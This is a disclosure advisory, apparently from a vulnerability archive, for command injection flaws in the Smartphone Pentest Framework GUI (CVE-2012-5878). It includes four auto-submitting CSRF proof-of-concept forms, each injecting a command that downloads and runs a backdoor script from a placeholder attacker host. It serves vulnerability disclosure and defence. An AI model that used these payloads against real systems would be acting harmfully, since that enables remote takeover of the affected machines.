exploit the possibilities

Smartphone Pentest Framework 0.1.3 / 0.1.4 Command Injection

Smartphone Pentest Framework 0.1.3 / 0.1.4 Command Injection
Posted Dec 11, 2012
Authored by High-Tech Bridge SA | Site htbridge.com

Smartphone Pentest Framework (SPF) versions 0.1.3 and 0.1.4 suffer from an OS command injection vulnerability.

tags | exploit
advisories | CVE-2012-5878
MD5 | 85c4b154717cca68ec3fc3ec7ea2974b

Smartphone Pentest Framework 0.1.3 / 0.1.4 Command Injection

Change Mirror Download
Advisory ID: HTB23127
Product: Smartphone Pentest Framework (SPF)
Vendor: Bulb Security LLC
Vulnerable Versions: 0.1.3, 0.1.4 and probably prior
Tested Versions: 0.1.3, 0.1.4
Vendor Notification: November 19, 2012
Public Disclosure: December 10, 2012
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2012-5878
CVSSv2 Base Score: 8.3 (AV:A/AC:L/Au:N/C:C/I:C/A:C)
Risk Level: High
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple command execution vulnerabilities in Smartphone Pentest Framework (SPF) web-based GUI, which could be exploited to get control over a pentester's machine remotely.

Similar vulnerabilities were discovered (https://www.htbridge.com/advisory/HTB23123 , CVE-2012-5693) in the previous version (0.1.2) of SPF and were patched by vendor.

However, multiple CSRF vulnerabilities (HTB23123, CVE-2012-5695) were not patched by the vendor. Therefore even if the web server hosting SPF GUI is not accessible from the Internet (which is a case for the majority of pentesters) the vulnerabilities can still be easily exploited via a local/internal network, or even from the Internet via CSRF vector. In default installation of Smartphone Pentest Framework its web server port and application path of its GUI are easily predictable: localhost:80/frameworkgui/

Please refer to HTB23123 advisory (https://www.htbridge.com/advisory/HTB23122) for detailed attack scenarios examples.


1) Multiple OS Command Execution Vulnerabilities in Smartphone Pentest Framework (SPF): CVE-2012-5878

Multiple Perl scripts in the "/frameworkgui/" directory do not perform sanitation of user-supplied input passed as argument to the "system()" function. This could be exploited to inject and execute arbitrary OS commands on the target system with privileges of the web server user.

1.1 The vulnerability exists in "SEAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector.

The PoC code below will download a backdoor located on 'attacker.com' and run it on pentester's machine with privileges of the web server. Despite relatively low privileges attacker can always try to download all files accessible to him and/or escalate privileges to get remote root access to the system.


<form action="http://localhost/cgi-bin/frameworkgui/SEAttack.pl" method="post" name=f1>
<input type="hidden" name="platformDD2" value='android' />
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.ch && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.2 The vulnerability exists in "CSAttack.pl" script due to insufficient validation of user-supplied input passed via the "hostingPath" parameter. The vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/CSAttack.pl" method="post" name=f1>
<input type="hidden" name="hostingPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.3 The vulnerability exists in "attachMobileModem.pl" script due to insufficient validation of user-supplied input passed via the "appURLPath" parameter. The vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/attachMobileModem.pl" method="post" name=f1>
<input type="hidden" name="appURLPath" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>



1.4 The vulnerability exists in "guessPassword.pl" script due to insufficient validation of user-supplied input passed via the "ipAddressTB" parameter. The vulnerability can be exploited remotely via CSRF vector:


<form action="http://localhost/cgi-bin/frameworkgui/guessPassword.pl" method="post" name=f1>
<input type="hidden" name="ipAddressTB" value='a & wget http://attacker.com/backdoor.sh && chmod a+x ./backdoor.sh && ./backdoor.sh & ' />
<input type="submit" id="btn">
</form>
<script>
document.f1.Submit()
</script>


-----------------------------------------------------------------------------------------------

Solution:

On December 5, 2012 vendor replied that vulnerabilities are patched. However, on the Disclosure date version 0.1.4 was still found to be vulnerable.

As a temporary solution remove or disable SPF's GUI.

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23127 - https://www.htbridge.com/advisory/HTB23127 - Multiple Vulnerabilities in Smartphone Pentest Framework (SPF).
[2] Smartphone Pentest Framework (SPF) - http://www.bulbsecurity.com/smartphone-pentest-framework/ - Smartphone Pentest Framework is an open source security tool, designed to aid in assessing the security posture of smartphones in an environment.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    15 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    6 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close